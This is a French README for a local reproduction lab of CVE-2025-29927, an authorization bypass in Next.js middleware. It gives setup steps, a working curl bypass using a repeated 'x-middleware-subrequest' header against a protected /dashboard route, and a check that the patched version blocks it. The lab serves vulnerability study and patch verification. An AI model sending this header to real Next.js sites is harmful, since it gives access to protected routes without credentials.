
Laboratoire de reproduction pour CVE-2025-29927 — contournement de l'autorisation du middleware Next.js (CVSS 9.1)
Laboratoire minimal de reproduction pour CVE-2025-29927 — contournement de l'autorisation du middleware Next.js (CVSS 9.1).
Complément de : Analyse N-Day sur Medium
Une application Next.js 15.2.2 (vulnérable) avec une route /dashboard protégée par cookie. La vérification d'authentification du middleware peut être contournée en envoyant un seul en-tête HTTP — aucune information d'identification requise.
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
Étape 2 — Contourner le middleware avec l'en-tête de sous-requête :
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
Étape 3 — Mettre à jour vers la version corrigée et confirmer que le contournement est bloqué :
npm install [email protected]
# Redémarrez le serveur de développement, puis répétez l'étape 2
# → 307
| Route | Accès |
|---|---|
/ | Publique |
/login | Publique |
/dashboard | Protégée par le middleware (nécessite le cookie session) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5